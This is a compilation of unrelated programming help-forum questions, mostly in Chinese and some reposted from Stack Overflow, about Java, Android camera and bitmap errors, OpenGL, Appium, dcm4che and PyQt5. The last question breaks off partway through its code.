最近在刚刚学Java,刚刚学完继承和多态,现在在做一个作业遇到了困难。 我简单的说一下,父类Vegetable,子类Tomato继承父类,子类有构造方法Tomato(String name,boolean isProtected,Date d) 这是父类Vegetable的定义: ``` package Pixel; import java.util.Date; public class Vegetable { String name; public int SerialNumber;//每个植物的序列号 public int productivity; static int id=0; Date WhentoGrow; public Vegetable(String name) { this.name=name; id++; } } ``` 子类: ``` package Pixel; import java.text.SimpleDateFormat; import java.text.DecimalFormat; import java.util.Date; public class Tomato extends Vegetable { boolean isProtected=true; public Tomato(String name,boolean Protected,Date d) { super(name); this.WhentoGrow=d; this.SerialNumber=super.id; isProtected=Protected; if(isProtected)productivity=10; else productivity=5; } private long GrowCycle=6*3600*1000 ;//一个番茄长6小时长出 SimpleDateFormat When = new SimpleDateFormat("yyyy-MM-dd HH:mm:ss"); final long millis=WhentoGrow.getTime(); final long harvestmillis=millis+GrowCycle; } ``` 在另一个class中做测试: ``` package Pixel; import java.util.Date; public class test { @SuppressWarnings("deprecation") public static void main(String []args) { Date t1=new Date(120,4,3,19,30,00); Date t2=new Date(120,4,3,19,30,00); //System.out.println(t1.getTime()); Tomato fanqie=new Tomato("fanqie",true,t1); Tomato fanqie2=new Tomato("fanqie",false,t2); } } ``` 通过t1t2做参数d来构造番茄1,番茄二,编辑器此时没有报错,但是当我运行的时候他就报错了,错误信息是java.lang.NullPointerException,并提示问题语句在于Tomato 文件里面的this.WhentoGrow=d这句话。 上网查过了,基本上就是说某个类没有具体实例化,但是我这里的t1,t2都应new过了啊 真的很苦恼,求大神指教啊!

怎么用dcm4che 把dcm格式的图片转成jpg格式啊?

我的代码如下: ``` import java.io.File; import java.io.IOException; import org.dcm4che3.tool.dcm2jpg.Dcm2Jpg; import org.junit.Test; public class TestDcm2jpg { @Test public void testDcm2jpg2(){ try{ File src = new File("E:/影像实例/1/1.2.392.200036.9123.100.11.12.200000000.2013052710593606.dcm"); File dest = new File("E:/影像实例/1/1.2.392.200036.9123.100.11.12.200000000.2013052710593606.jpg"); Dcm2Jpg dcm2jpg= new Dcm2Jpg(); dcm2jpg.convert(src, dest); System.out.println("Completed"); } catch(IOException e){ e.printStackTrace(); } catch(Exception e){ e.printStackTrace(); } } } ``` 运行的时候抛了空指针错误: ``` java.lang.NullPointerException at org.dcm4che3.tool.dcm2jpg.Dcm2Jpg.writeImage(Dcm2Jpg.java:402) at org.dcm4che3.tool.dcm2jpg.Dcm2Jpg.convert(Dcm2Jpg.java:364) at com.boco.test.dcm2jpg.TestDcm2jpg.testDcm2jpg2(TestDcm2jpg.java:27) at sun.reflect.NativeMethodAccessorImpl.invoke0(Native Method) at sun.reflect.NativeMethodAccessorImpl.invoke(Unknown Source) at sun.reflect.DelegatingMethodAccessorImpl.invoke(Unknown Source) at java.lang.reflect.Method.invoke(Unknown Source) at org.junit.runners.model.FrameworkMethod$1.runReflectiveCall(FrameworkMethod.java:50) at org.junit.internal.runners.model.ReflectiveCallable.run(ReflectiveCallable.java:12) at org.junit.runners.model.FrameworkMethod.invokeExplosively(FrameworkMethod.java:47) at org.junit.internal.runners.statements.InvokeMethod.evaluate(InvokeMethod.java:17) at org.junit.runners.ParentRunner.runLeaf(ParentRunner.java:325) at org.junit.runners.BlockJUnit4ClassRunner.runChild(BlockJUnit4ClassRunner.java:78) at org.junit.runners.BlockJUnit4ClassRunner.runChild(BlockJUnit4ClassRunner.java:57) at org.junit.runners.ParentRunner$3.run(ParentRunner.java:290) at org.junit.runners.ParentRunner$1.schedule(ParentRunner.java:71) at org.junit.runners.ParentRunner.runChildren(ParentRunner.java:288) at org.junit.runners.ParentRunner.access$000(ParentRunner.java:58) at org.junit.runners.ParentRunner$2.evaluate(ParentRunner.java:268) at org.junit.runners.ParentRunner.run(ParentRunner.java:363) at org.eclipse.jdt.internal.junit4.runner.JUnit4TestReference.run(JUnit4TestReference.java:86) at org.eclipse.jdt.internal.junit.runner.TestExecution.run(TestExecution.java:38) at org.eclipse.jdt.internal.junit.runner.RemoteTestRunner.runTests(RemoteTestRunner.java:459) at org.eclipse.jdt.internal.junit.runner.RemoteTestRunner.runTests(RemoteTestRunner.java:675) at org.eclipse.jdt.internal.junit.runner.RemoteTestRunner.run(RemoteTestRunner.java:382) at org.eclipse.jdt.internal.junit.runner.RemoteTestRunner.main(RemoteTestRunner.java:192) ```

Could not execute method for android :onClicked

最近在学android的camera,在拍照按钮的点击事件中做了如下参数设置: ``` public void capture(View view){ if(mCamera!=null){ WindowManager manager= (WindowManager) getSystemService(Context.WINDOW_SERVICE); Display display=manager.getDefaultDisplay(); Log.i("capture",display.getWidth()+" "+display.getHeight()); Camera.Parameters parameters=mCamera.getParameters(); //设置拍照格式 parameters.setPictureFormat(PixelFormat.YCbCr_422_SP); //设置拍照大小 parameters.setPictureSize(213,350); //设置自动对焦 parameters.setFlashMode(Camera.Parameters.FOCUS_MODE_AUTO); mCamera.setParameters(parameters); mCamera.autoFocus(new Camera.AutoFocusCallback() { @Override public void onAutoFocus(boolean success, Camera camera) { mCamera.takePicture(null,null,mPictureCallback); } }); } } ``` 点击拍照按钮的时候程序崩溃了,出现如下的日志信息: ``` Process: com.example.vampire.facelearning, PID: 14489 java.lang.IllegalStateException: Could not execute method for android:onClick at android.view.View$DeclaredOnClickListener.onClick(View.java:4461) at android.view.View.performClick(View.java:5207) at android.view.View$PerformClick.run(View.java:21177) at android.os.Handler.handleCallback(Handler.java:739) at android.os.Handler.dispatchMessage(Handler.java:95) at android.os.Looper.loop(Looper.java:148) at android.app.ActivityThread.main(ActivityThread.java:5432) at java.lang.reflect.Method.invoke(Native Method) at com.android.internal.os.ZygoteInit$MethodAndArgsCaller.run(ZygoteInit.java:735) at com.android.internal.os.ZygoteInit.main(ZygoteInit.java:625) Caused by: java.lang.reflect.InvocationTargetException at java.lang.reflect.Method.invoke(Native Method) at android.view.View$DeclaredOnClickListener.onClick(View.java:4456) at android.view.View.performClick(View.java:5207)  at android.view.View$PerformClick.run(View.java:21177)  at android.os.Handler.handleCallback(Handler.java:739)  at android.os.Handler.dispatchMessage(Handler.java:95)  at android.os.Looper.loop(Looper.java:148)  at android.app.ActivityThread.main(ActivityThread.java:5432)  at java.lang.reflect.Method.invoke(Native Method)  at com.android.internal.os.ZygoteInit$MethodAndArgsCaller.run(ZygoteInit.java:735)  at com.android.internal.os.ZygoteInit.main(ZygoteInit.java:625)  Caused by: java.lang.RuntimeException: setParameters failed at android.hardware.Camera.native_setParameters(Native Method) at android.hardware.Camera.setParameters(Camera.java:2003) at com.example.vampire.facelearning.CustomCamera.capture(CustomCamera.java:85) at java.lang.reflect.Method.invoke(Native Method)  at android.view.View$DeclaredOnClickListener.onClick(View.java:4456)  at android.view.View.performClick(View.java:5207)  at android.view.View$PerformClick.run(View.java:21177)  at android.os.Handler.handleCallback(Handler.java:739)  at android.os.Handler.dispatchMessage(Handler.java:95)  at android.os.Looper.loop(Looper.java:148)  at android.app.ActivityThread.main(ActivityThread.java:5432)  at java.lang.reflect.Method.invoke(Native Method)  ``` 我把mCamera.setParameters(parameters);注析掉后程序就可以进行拍照了,但遇到了另一个问题。拍照获取的图片尺寸非常小:![图片说明](https://img-ask.csdn.net/upload/201604/02/1459603192_651468.png) 这是onPictureToken方法的实现方法: ``` private Camera.PictureCallback mPictureCallback=new Camera.PictureCallback() { @Override public void onPictureTaken(byte[] data, Camera camera) { //将数据写入SD卡的temp.png文件当中 File tempFile=new File("/sdcard/temp.png"); try { FileOutputStream fileOutputStream=new FileOutputStream(tempFile); fileOutputStream.write(data); fileOutputStream.close(); Intent intent=new Intent(CustomCamera.this,ResultAty.class); intent.putExtra("picPath",tempFile.getAbsolutePath()); startActivity(intent); CustomCamera.this.finish(); } catch (FileNotFoundException e) { e.printStackTrace(); } catch (IOException e) { e.printStackTrace(); } } }; ``` 跳转到另一个activity来进行显示图片: ``` String path=getIntent().getStringExtra("picPath"); ImageView imageView= (ImageView) findViewById(R.id.pic); //对图像的显示角度进行调整 try { FileInputStream fis=new FileInputStream(path); //把图像转换成字节流 Bitmap bitmap=BitmapFactory.decodeStream(fis); Matrix matrix=new Matrix(); matrix.setRotate(90); //调整角度 bitmap=Bitmap.createBitmap(bitmap,0,0,bitmap.getWidth(),bitmap.getHeight(),matrix,true); imageView.setImageBitmap(bitmap); } catch (FileNotFoundException e) { e.printStackTrace(); } } ``` 麻烦各位大神给个提示,我自己debug了很久都没有找出问题所在,谢谢!

OpenGL 用三角形扇绘制圆 报错GLUT Fatal Error: pixel format with necessary capabilities not

#include<GLTools.h> #include<GLShaderManager.h> #include<GL/glut.h> int g_width = 800; int g_height = 600; int nStep = 200; const GLfloat a = 0.6f, b = 0.3f; const GLfloat Pi = 3.1415926536f; GLShaderManager shaderManager; GLBatch pointBatch; GLBatch lineBatch; GLBatch lineStripBatch; GLBatch lineLoopBatch; GLBatch triangleBatch; GLBatch triangleStripBatch; GLBatch triangleFanBatch; void initialize(); void uninitialize(); void display_func(void); void reshape_func(int w, int h); void key_func(unsigned char key, int x, int y); void idle_func(); void initialize() { glClearColor(0.0, 0.0, 0.0, 1.0); glClearDepth(1.0); shaderManager.InitializeStockShaders(); GLfloat vCoast[24][3] = { {2.80,1.20,0.0},{2.0,1.20,0.0}, {2.0,1.08,0.0},{2.0,1.08,0.0}, {0.0,0.80,0.0},{-.40,0.40,0.0}, {-.48,0.2,0.0},{-.40,0.0,0.0}, {-.60,-.40,0.0},{-.80,-.80,0.0}, {-.80,-1.4,0.0},{-.40,-1.60,0.0}, {0.0,-1.20,0.0},{.2,-.80,0.0}, {.48,-.40,0.0},{.2,-.80,0.0}, {.48,.20,0.0},{.80,.40,0.0}, {1.20,.80,0.0},{1.60,.60,0.0}, {2.0,.60,0.0},{2.2,.80,0.0}, {2.40,1.0,0.0},{2.80,1.0,0.0} }; for (int i = 0; i < 24; i++) { vCoast[i][0] *= 0.3; vCoast[i][1] *= 0.3; vCoast[i][2] *= 0.3; } //Load point batch pointBatch.Begin(GL_POINT, 24); pointBatch.CopyVertexData3f(vCoast); pointBatch.End(); //Load as a bunch of line segments lineBatch.Begin(GL_LINES, 24); lineBatch.CopyVertexData3f(vCoast); lineBatch.End(); //Load as a single line segment lineStripBatch.Begin(GL_LINE_STRIP, 24); lineStripBatch.CopyVertexData3f(vCoast); lineStripBatch.End(); //Single line,connect first and last points lineLoopBatch.Begin(GL_LINE_LOOP, 24); lineLoopBatch.CopyVertexData3f(vCoast); lineLoopBatch.End(); GLfloat vPyramid[16][3] = {0}; float angle = 0; int i = 0; for (; angle < (2.0f*Pi)&&i<16; angle += (Pi / 8.0f),i++) { int x = 50.0f*sin(angle); int y = 50.f*cos(angle); vPyramid[i][1] = x; vPyramid[i][2] = y; vPyramid[i][3] = 0.0f; } //Load as a triangle fan triangleFanBatch.Begin(GL_TRIANGLE_FAN,16); triangleFanBatch.CopyVertexData3f(vPyramid); triangleFanBatch.End(); } void display_func(void) { glClear(GL_COLOR_BUFFER_BIT | GL_DEPTH_BUFFER_BIT); glutSwapBuffers(); } void idle_func() { glutPostRedisplay(); } void reshape_func(int w, int h) { glViewport(0, 0, w, h); } void key_func(unsigned char key, int x, int y) { switch (key) { case 49: case 50: glLineWidth(2.0f); lineStripBatch.Draw(); glLineWidth(1.0f); break; case 51: glLineWidth(2.0f); lineLoopBatch.Draw(); glLineWidth(1.0f); break; case 52: glPolygonMode(GL_FRONT_AND_BACK, GL_LINE); triangleBatch.Draw(); glPolygonMode(GL_FRONT_AND_BACK, GL_FILL); break; case 53: glPolygonMode(GL_FRONT_AND_BACK, GL_LINE); triangleFanBatch.Draw(); glPolygonMode(GL_FRONT_AND_BACK, GL_FILL); break; case 54: glPolygonMode(GL_FRONT_AND_BACK, GL_LINE); triangleStripBatch.Draw(); glPolygonMode(GL_FRONT_AND_BACK, GL_FILL); break; } } int main(int argc, char **argv) { glutInit(&argc, argv); glutInitWindowSize(g_width, g_height); glutInitDisplayMode(GLUT_DEPTH || GLUT_DOUBLE || GLUT_RGB); glutCreateWindow("MyShapes"); initialize(); GLenum err = glewInit(); if (GLEW_OK != err) { fprintf(stderr, "GLEW Error: $s\n", glewGetErrorString(err)); return 1; } glutDisplayFunc(display_func); glutReshapeFunc(reshape_func); glutKeyboardFunc(key_func); glutIdleFunc(idle_func); glutMainLoop(); return 0; }

android-appium: A new session could not be created

detail log: org.openqa.selenium.SessionNotCreatedException: A new session could not be created. (Original error: Command failed: C:\Windows\system32\cmd.exe /s /c “C:\Users\sxie\AppData\Local\Android\sdk\platform-tools\adb.exe -s emulator-5554 shell “ps ‘uiautomator’”” ) (WARNING: The server did not provide any stacktrace information) Command duration or timeout: 0 milliseconds Build info: version: ‘3.4.0’, revision: ‘unknown’, time: 'unknown’ System info: host: ‘WL00070299’, ip: ‘10.110.12.39’, os.name: ‘Windows 8.1’, os.arch: ‘x86’, os.version: ‘6.3’, java.version: '1.8.0_40’ Driver info: driver.version: AndroidDriver at sun.reflect.NativeConstructorAccessorImpl.newInstance0(Native Method) at sun.reflect.NativeConstructorAccessorImpl.newInstance(Unknown Source) at sun.reflect.DelegatingConstructorAccessorImpl.newInstance(Unknown Source) at java.lang.reflect.Constructor.newInstance(Unknown Source) at org.openqa.selenium.remote.ErrorHandler.createThrowable(ErrorHandler.java:215) at org.openqa.selenium.remote.ErrorHandler.throwIfResponseFailed(ErrorHandler.java:167) at io.appium.java_client.remote.AppiumProtocolHandShake.createSession(AppiumProtocolHandShake.java:161) at io.appium.java_client.remote.AppiumProtocolHandShake.createSession(AppiumProtocolHandShake.java:76) at io.appium.java_client.remote.AppiumCommandExecutor.doExecute(AppiumCommandExecutor.java:111) at io.appium.java_client.remote.AppiumCommandExecutor.execute(AppiumCommandExecutor.java:162) at org.openqa.selenium.remote.RemoteWebDriver.execute(RemoteWebDriver.java:637) at io.appium.java_client.DefaultGenericMobileDriver.execute(DefaultGenericMobileDriver.java:42) at io.appium.java_client.AppiumDriver.execute(AppiumDriver.java:1) at io.appium.java_client.android.AndroidDriver.execute(AndroidDriver.java:1) at org.openqa.selenium.remote.RemoteWebDriver.startSession(RemoteWebDriver.java:250) at org.openqa.selenium.remote.RemoteWebDriver.startSession(RemoteWebDriver.java:236) at org.openqa.selenium.remote.RemoteWebDriver.(RemoteWebDriver.java:137) at io.appium.java_client.DefaultGenericMobileDriver.(DefaultGenericMobileDriver.java:38) at io.appium.java_client.AppiumDriver.(AppiumDriver.java:88) at io.appium.java_client.AppiumDriver.(AppiumDriver.java:112) at io.appium.java_client.android.AndroidDriver.(AndroidDriver.java:73) at com.sky.demo.ContactTest.setUp(ContactTest.java:44) at sun.reflect.NativeMethodAccessorImpl.invoke0(Native Method) at sun.reflect.NativeMethodAccessorImpl.invoke(Unknown Source) at sun.reflect.DelegatingMethodAccessorImpl.invoke(Unknown Source) at java.lang.reflect.Method.invoke(Unknown Source) at org.junit.runners.model.FrameworkMethod$1.runReflectiveCall(FrameworkMethod.java:50) at org.junit.internal.runners.model.ReflectiveCallable.run(ReflectiveCallable.java:12) at org.junit.runners.model.FrameworkMethod.invokeExplosively(FrameworkMethod.java:47) at org.junit.internal.runners.statements.RunBefores.evaluate(RunBefores.java:24) at org.junit.internal.runners.statements.RunAfters.evaluate(RunAfters.java:27) at org.junit.runners.ParentRunner.runLeaf(ParentRunner.java:325) at org.junit.runners.BlockJUnit4ClassRunner.runChild(BlockJUnit4ClassRunner.java:78) at org.junit.runners.BlockJUnit4ClassRunner.runChild(BlockJUnit4ClassRunner.java:57) at org.junit.runners.ParentRunner$3.run(ParentRunner.java:290) at org.junit.runners.ParentRunner$1.schedule(ParentRunner.java:71) at org.junit.runners.ParentRunner.runChildren(ParentRunner.java:288) at org.junit.runners.ParentRunner.access$000(ParentRunner.java:58) at org.junit.runners.ParentRunner$2.evaluate(ParentRunner.java:268) at org.junit.runners.ParentRunner.run(ParentRunner.java:363) at org.eclipse.jdt.internal.junit4.runner.JUnit4TestReference.run(JUnit4TestReference.java:50) at org.eclipse.jdt.internal.junit.runner.TestExecution.run(TestExecution.java:38) at org.eclipse.jdt.internal.junit.runner.RemoteTestRunner.runTests(RemoteTestRunner.java:459) at org.eclipse.jdt.internal.junit.runner.RemoteTestRunner.runTests(RemoteTestRunner.java:675) at org.eclipse.jdt.internal.junit.runner.RemoteTestRunner.run(RemoteTestRunner.java:382) at org.eclipse.jdt.internal.junit.runner.RemoteTestRunner.main(RemoteTestRunner.java:192) ========================================== 直接在cmd中执行"C:\Windows\system32\cmd.exe /s /c "C:\Users\sxie\AppData\Local\Android\sdk\platform-tools\adb.exe -s emulator-5554 shell "ps 'uiautomator'"" bad pid 'uiautomator'", 报错: bad pid 'uiautomator' =============================================================================== code: public class ContactTest { private AndroidDriver driver; @Before public void setUp() throws Exception { //设置apk的路径 File classpathRoot = new File(System.getProperty("user.dir")); File appDir = new File(classpathRoot, "apps"); File app = new File(appDir, "ContactManager.apk"); //设置自动化相关参数 DesiredCapabilities capabilities = new DesiredCapabilities(); capabilities.setCapability(CapabilityType.BROWSER_NAME, ""); capabilities.setCapability("automationName","Appium"); capabilities.setCapability("platformName", "Android"); capabilities.setCapability("deviceName", "Pixel_XL_API_25");// Galaxy_Nexus_API_25 capabilities.setCapability("noReset", true); capabilities.setCapability("avdReadyTimeout", 300000); capabilities.setCapability("sessionOverride", true); //设置安卓系统版本 capabilities.setCapability("platformVersion", "7.1.1"); //设置apk路径 capabilities.setCapability("app", app.getAbsolutePath()); //设置app的主包名和主类名 capabilities.setCapability("appPackage", "com.example.android.contactmanager"); capabilities.setCapability("appActivity", ".ContactManager"); //初始化 driver = new AndroidDriver(new URL("http://127.0.0.1:4723/wd/hub"), capabilities); driver.manage().timeouts().implicitlyWait(10,TimeUnit.SECONDS); } @Test public void addContact(){ WebElement el = driver.findElement(By.name("Add Contact")); el.click(); List<WebElement> textFieldsList = driver.findElementsByClassName("android.widget.EditText"); textFieldsList.get(0).sendKeys("feimaoyuzhubaobao"); textFieldsList.get(2).sendKeys("forever together"); driver.swipe(100, 500, 100, 100, 2); driver.findElementByName("Save").click(); } @After public void tearDown() throws Exception { driver.quit(); } }

android中从位图获取getPixels

代码: BitmapFactory.Options options = new BitmapFactory.Options(); Bitmap b = BitmapFactory.decodeResource(getResources(), R.drawable.test, options); int[] pixels = new int[1]; if(b != null){ pixels = new int[b.getHeight()*b.getWidth()]; b.getPixels(pixels, 0, b.getWidth(), 0, 0, b.getWidth(), b.getHeight()); for(int i = 0 ; i < 100 ; i++){ Log.d("test","Pixel is :"+pixels[i]); } } 其中R.drawable.test是 .bmp 文件,位于res/drawable-nodp中 我期盼的结果不是0-255这些数值。 06-03 21:49:24.364: D/test(4088): Pixel is :-16777088 06-03 21:49:24.364: D/test(4088): Pixel is :-16777088 06-03 21:49:24.364: D/test(4088): Pixel is :-16777088 06-03 21:49:24.364: D/test(4088): Pixel is :-16777088 06-03 21:49:24.364: D/test(4088): Pixel is :-16777088 06-03 21:49:24.364: D/test(4088): Pixel is :-16777088 06-03 21:49:24.374: D/test(4088): Pixel is :-16777088 数字不对,请高手帮忙。

C中在结构体中嵌套一个联合体,java中应该如何处理?大家帮我看看这样写对不对,还有调用的时候!

C语言: ``` typedef struct { u16 Command; union { CImage Image; CSensor Sensor; CEdgeChkData EdgeData; } Contact; } CSensorPkg; ``` java: ``` public class CSensorPkg{ public CSensorPkg(short command) { super(); Command = command; } private short Command; public class Contact{ public Contact(CImage image, CSensor sensor, CEdgeChkData edgeData) { super(); Image = image; Sensor = sensor; EdgeData = edgeData; } CImage Image; CSensor Sensor; CEdgeChkData EdgeData; } } ``` 我要调用的时候:PixelCount = receive_data.Contact.EdgeData.Count;老是报错,这是为什么呢?

将图像加载到 Bitmap 对象时出现内存不足的问题

<div class="post-text" itemprop="text"> <p>I have a list view with a couple of image buttons on each row. When you click the list row, it launches a new activity. I have had to build my own tabs because of an issue with the camera layout. The activity that gets launched for result is a map. If I click on my button to launch the image preview (load an image off the SD card) the application returns from the activity back to the <code>listview</code> activity to the result handler to relaunch my new activity which is nothing more than an image widget. </p> <p>The image preview on the list view is being done with the cursor and <code>ListAdapter</code>. This makes it pretty simple, but I am not sure how I can put a resized image (I.e. Smaller bit size not pixel as the <code>src</code> for the image button on the fly. So I just resized the image that came off the phone camera.</p> <p>The issue is that I get an out of memory error when it tries to go back and re-launch the 2nd activity.</p> <ul> <li>Is there a way I can build the list adapter easily row by row, where I can resize on the fly (<em>bit wise</em>)? </li> </ul> <p>This would be preferable as I also need to make some changes to the properties of the widgets/elements in each row as I am unable to select a row with touch screen because of focus issue. (<em>I can use roller ball.</em>)</p> <ul> <li>I know I can do an out of band resize and save of my image, but that is not really what I want to do, but some sample code for that would be nice.</li> </ul> <p>As soon as I disabled the image on the list view it worked fine again.</p> <p>FYI: This is how I was doing it:</p> <pre><code>String[] from = new String[] { DBHelper.KEY_BUSINESSNAME,DBHelper.KEY_ADDRESS,DBHelper.KEY_CITY,DBHelper.KEY_GPSLONG,DBHelper.KEY_GPSLAT,DBHelper.KEY_IMAGEFILENAME + ""}; int[] to = new int[] {R.id.businessname,R.id.address,R.id.city,R.id.gpslong,R.id.gpslat,R.id.imagefilename }; notes = new SimpleCursorAdapter(this, R.layout.notes_row, c, from, to); setListAdapter(notes); </code></pre> <p>Where <code>R.id.imagefilename</code> is a <code>ButtonImage</code>.</p> <p>Here is my LogCat:</p> <pre><code>01-25 05:05:49.877: ERROR/dalvikvm-heap(3896): 6291456-byte external allocation too large for this process. 01-25 05:05:49.877: ERROR/(3896): VM wont let us allocate 6291456 bytes 01-25 05:05:49.877: ERROR/AndroidRuntime(3896): Uncaught handler: thread main exiting due to uncaught exception 01-25 05:05:49.917: ERROR/AndroidRuntime(3896): java.lang.OutOfMemoryError: bitmap size exceeds VM budget 01-25 05:05:49.917: ERROR/AndroidRuntime(3896): at android.graphics.BitmapFactory.nativeDecodeStream(Native Method) 01-25 05:05:49.917: ERROR/AndroidRuntime(3896): at android.graphics.BitmapFactory.decodeStream(BitmapFactory.java:304) 01-25 05:05:49.917: ERROR/AndroidRuntime(3896): at android.graphics.BitmapFactory.decodeFile(BitmapFactory.java:149) 01-25 05:05:49.917: ERROR/AndroidRuntime(3896): at android.graphics.BitmapFactory.decodeFile(BitmapFactory.java:174) 01-25 05:05:49.917: ERROR/AndroidRuntime(3896): at android.graphics.drawable.Drawable.createFromPath(Drawable.java:729) 01-25 05:05:49.917: ERROR/AndroidRuntime(3896): at android.widget.ImageView.resolveUri(ImageView.java:484) 01-25 05:05:49.917: ERROR/AndroidRuntime(3896): at android.widget.ImageView.setImageURI(ImageView.java:281) 01-25 05:05:49.917: ERROR/AndroidRuntime(3896): at android.widget.SimpleCursorAdapter.setViewImage(SimpleCursorAdapter.java:183) 01-25 05:05:49.917: ERROR/AndroidRuntime(3896): at android.widget.SimpleCursorAdapter.bindView(SimpleCursorAdapter.java:129) 01-25 05:05:49.917: ERROR/AndroidRuntime(3896): at android.widget.CursorAdapter.getView(CursorAdapter.java:150) 01-25 05:05:49.917: ERROR/AndroidRuntime(3896): at android.widget.AbsListView.obtainView(AbsListView.java:1057) 01-25 05:05:49.917: ERROR/AndroidRuntime(3896): at android.widget.ListView.makeAndAddView(ListView.java:1616) 01-25 05:05:49.917: ERROR/AndroidRuntime(3896): at android.widget.ListView.fillSpecific(ListView.java:1177) 01-25 05:05:49.917: ERROR/AndroidRuntime(3896): at android.widget.ListView.layoutChildren(ListView.java:1454) 01-25 05:05:49.917: ERROR/AndroidRuntime(3896): at android.widget.AbsListView.onLayout(AbsListView.java:937) 01-25 05:05:49.917: ERROR/AndroidRuntime(3896): at android.view.View.layout(View.java:5611) 01-25 05:05:49.917: ERROR/AndroidRuntime(3896): at android.widget.LinearLayout.setChildFrame(LinearLayout.java:1119) 01-25 05:05:49.917: ERROR/AndroidRuntime(3896): at android.widget.LinearLayout.layoutHorizontal(LinearLayout.java:1108) 01-25 05:05:49.917: ERROR/AndroidRuntime(3896): at android.widget.LinearLayout.onLayout(LinearLayout.java:922) 01-25 05:05:49.917: ERROR/AndroidRuntime(3896): at android.view.View.layout(View.java:5611) 01-25 05:05:49.917: ERROR/AndroidRuntime(3896): at android.widget.FrameLayout.onLayout(FrameLayout.java:294) 01-25 05:05:49.917: ERROR/AndroidRuntime(3896): at android.view.View.layout(View.java:5611) 01-25 05:05:49.917: ERROR/AndroidRuntime(3896): at android.widget.LinearLayout.setChildFrame(LinearLayout.java:1119) 01-25 05:05:49.917: ERROR/AndroidRuntime(3896): at android.widget.LinearLayout.layoutVertical(LinearLayout.java:999) 01-25 05:05:49.917: ERROR/AndroidRuntime(3896): at android.widget.LinearLayout.onLayout(LinearLayout.java:920) 01-25 05:05:49.917: ERROR/AndroidRuntime(3896): at android.view.View.layout(View.java:5611) 01-25 05:05:49.917: ERROR/AndroidRuntime(3896): at android.widget.FrameLayout.onLayout(FrameLayout.java:294) 01-25 05:05:49.917: ERROR/AndroidRuntime(3896): at android.view.View.layout(View.java:5611) 01-25 05:05:49.917: ERROR/AndroidRuntime(3896): at android.view.ViewRoot.performTraversals(ViewRoot.java:771) 01-25 05:05:49.917: ERROR/AndroidRuntime(3896): at android.view.ViewRoot.handleMessage(ViewRoot.java:1103) 01-25 05:05:49.917: ERROR/AndroidRuntime(3896): at android.os.Handler.dispatchMessage(Handler.java:88) 01-25 05:05:49.917: ERROR/AndroidRuntime(3896): at android.os.Looper.loop(Looper.java:123) 01-25 05:05:49.917: ERROR/AndroidRuntime(3896): at android.app.ActivityThread.main(ActivityThread.java:3742) 01-25 05:05:49.917: ERROR/AndroidRuntime(3896): at java.lang.reflect.Method.invokeNative(Native Method) 01-25 05:05:49.917: ERROR/AndroidRuntime(3896): at java.lang.reflect.Method.invoke(Method.java:515) 01-25 05:05:49.917: ERROR/AndroidRuntime(3896): at com.android.internal.os.ZygoteInit$MethodAndArgsCaller.run(ZygoteInit.java:739) 01-25 05:05:49.917: ERROR/AndroidRuntime(3896): at com.android.internal.os.ZygoteInit.main(ZygoteInit.java:497) 01-25 05:05:49.917: ERROR/AndroidRuntime(3896): at dalvik.system.NativeStart.main(Native Method) 01-25 05:10:01.127: ERROR/AndroidRuntime(3943): ERROR: thread attach failed </code></pre> <p>I also have a new error when displaying an image: </p> <pre><code>01-25 22:13:18.594: DEBUG/skia(4204): xxxxxxxxxxx jpeg error 20 Improper call to JPEG library in state %d 01-25 22:13:18.604: INFO/System.out(4204): resolveUri failed on bad bitmap uri: 01-25 22:13:18.694: ERROR/dalvikvm-heap(4204): 6291456-byte external allocation too large for this process. 01-25 22:13:18.694: ERROR/(4204): VM won't let us allocate 6291456 bytes 01-25 22:13:18.694: DEBUG/skia(4204): xxxxxxxxxxxxxxxxxxxx allocPixelRef failed </code></pre> </div> <p>转载于:https://stackoverflow.com/questions/477572/strange-out-of-memory-issue-while-loading-an-image-to-a-bitmap-object</p>

想问一下c语言中的->指针,在java中怎么应用的?举例如下:

C语言中:ImageCount = receive_data->Contact.Image.PixelCnt; (receive_data是指针,Contact是自定义的联合体);我在java中如何表示 我这样写的,但是报错: PixelCount = receive_data.Contact.EdgeData.Count; 求指导,感激不尽!!!

PyQt5如何获取鼠标处图片像素

如题,我搜到了PyQt4的写法,想改成5的,但是5的函数变了,不太会,不知道5里鼠标处的Wid怎么获取? 这个是4的实现方法 PS:5不支持QPixmap.grabWindow,改成了Qscreen.grabWindow, 然后第一个参数Wid用QApplication.desktop().winId()也无法获取了,暂时还没有找到获取方式 ``` if event.buttons() & Qt.LeftButton: pointX = event.globalX() pointY = event.globalY() # img is QImage type img = QPixmap.grabWindow( QApplication.desktop().winId()).toImage() rgb = img.pixel(pointX, pointY) #十进制 red10 = QtGui.qRed(rgb) green10 =QtGui.qGreen(rgb) blue10 = QtGui.qBlue(rgb) color10="("+str(red10)+","+str(green10)+","+str(blue10)+")" #十六进制 #print str(hex(red10)) red16=str(hex(red10))[2:] green16=str(hex(green10))[2] blue16=str(hex(blue10))[2:] color16=red16+green16+blue16 #print color16 print "(%s,%s) = %s (%s,%s,%s)" % (pointX, pointY, color16,red10, green10, blue10) self.label.setText("(%s,%s) = %s (%s,%s,%s)" % (pointX, pointY, color16,red10, green10, blue10)) #该片段来自于http://outofmemory.cn ``` 代码来源 http://outofmemory.cn/code-snippet/12666/PyQt4-get-screen-position-color

获取屏幕尺寸,以像素为单位

<div class="post-text" itemprop="text"> <p>I created some custom elements, and I want to programmatically place them to the upper right corner (<code>n</code> pixels from the top edge and <code>m</code> pixels from the right edge). Therefore I need to get the screen width and screen height and then set position:</p> <pre><code>int px = screenWidth - m; int py = screenHeight - n; </code></pre> <p>How do I get <code>screenWidth</code> and <code>screenHeight</code> in the main Activity?</p> </div> <p>转载于:https://stackoverflow.com/questions/1016896/get-screen-dimensions-in-pixels</p>

JAVA怎么让图片翻转?

我想点击按钮就让图片翻转。可是只能翻转一次是怎么回事//// =============== -------- 这里点按钮只能翻转一次,然后再点就不变了 ![图片说明](https://img-ask.csdn.net/upload/201911/06/1573053787_868928.jpg) 代码 ------------- ------------ ``` public class My4 extends JFrame{ public My4() { setVisible(true); setBounds(0, 100, 500, 400); setDefaultCloseOperation(JFrame.EXIT_ON_CLOSE); setTitle("图像翻转"); add(new MyPanels()); validate(); } //------------------------------------------------------------- public static void main(String[] args) { // TODO Auto-generated method stub new My4(); } } class MyPanels extends JPanel implements ActionListener{ private int w;//图片长度 private int h;//图片宽 BufferedImage image; JButton button1; Graphics2D g2; boolean change=false; public MyPanels() { button1=new JButton("翻转"); add(button1); button1.addActionListener(this); try { image=ImageIO.read(new File("D:\\素材\\恐龙1.png")); w=image.getWidth(); h=image.getHeight(); } catch (IOException e) { 